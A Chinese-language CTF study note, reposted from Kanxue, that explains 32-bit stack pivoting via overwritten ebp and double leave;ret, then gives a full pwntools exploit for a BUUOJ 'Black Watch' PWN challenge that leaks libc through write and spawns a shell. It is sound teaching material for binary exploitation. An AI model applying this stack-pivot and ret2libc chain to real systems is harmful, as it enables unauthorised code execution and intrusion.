學習一下棧遷移,以下內容轉載於看雪的文章
以32位為例,在匯編中,用call指令來調用一個函數,call 函數會對棧進行一系列操作
push eip+4 push ebp mov ebp,esp
主要的目的還是用來保護現場,避免執行完函數后堆棧不平衡或找不到之前的入口地址
當調用完函數后,就需要用 leave;ret;來還原現場
leave == mov esp,ebp ; pop ebp; ret == pop eip
其中pop eip相當於將棧頂數據給eip,由於ret返回的是棧頂數據,而棧頂地址是由esp的值決定的,esp的值,從leave可以得出是由ebp決定的。所以我們可以通過覆蓋ebp的值來控制ret返回地址。兩次leave ret即可控制esp為我們想要的地址。由於有pop ebp,會使esp-4,將ebp 覆蓋為想要調整的位置-4即可
[Black Watch 入群題]PWN為例

可以看到第二個read的棧只能控制0x20-0x18=0x8個字節,無法構造出較長的ROP鏈

不過可以用第一個read構造ROP鏈,且剛好在bss段中,之后棧遷移到該地址執行,后面就是常規的泄露libc來getshell
exp如下
from pwn import * from LibcSearcher import * r=remote('node3.buuoj.cn',28463) #r=process('./spwn') elf=ELF('./spwn') write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=elf.symbols['main'] bss_addr=0x0804A300 leave_ret=0x08048511 payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) r.recvuntil("What is your name?") r.send(payload) payload1='a'*0x18+p32(bss_addr-4)+p32(leave_ret) r.recvuntil("What do you want to say?") r.send(payload1) write_addr=u32(r.recv(4)) print('[+]write_addr: ',hex(write_addr)) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') r.recvuntil("What is your name?") payload=p32(system_addr)+p32(main_addr)+p32(bin_addr) r.send(payload) r.recvuntil("What do you want to say?") r.send(payload1) r.interactive()
